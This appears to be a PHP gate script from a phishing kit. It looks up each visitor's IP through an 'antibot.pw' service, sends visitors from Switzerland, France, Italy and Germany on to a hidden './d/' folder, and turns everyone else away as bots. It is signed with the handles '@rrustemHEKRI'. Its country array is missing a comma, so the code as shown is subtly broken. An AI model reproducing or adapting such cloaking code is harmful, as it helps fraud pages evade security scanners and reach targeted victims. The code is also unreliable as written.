include '../inc/function.php'; function isAllowedCountry($ip) { $allowedCountries = ['CH', 'FR', 'IT' 'DE']; // Switzerland, France, Italy, Germany $apiUrl = "https://antibot.pw/api/ip?ip=" . $ip; $response = file_get_contents($apiUrl); if ($response === FALSE) { // If the request fails, assume the IP is allowed or handle as appropriate return true; } $data = json_decode($response, true); if (isset($data['country']) && in_array($data['country'], $allowedCountries)) { return true; } return false; } if (isAllowedCountry($_SERVER['REMOTE_ADDR'])) { header('Location: ./d/'); exit(); } else { echo "Sorry, access is restricted for your country or you have been identified as a bot. | @rrustemHEKRI x @rrustemHEKRI_V2"; exit(); }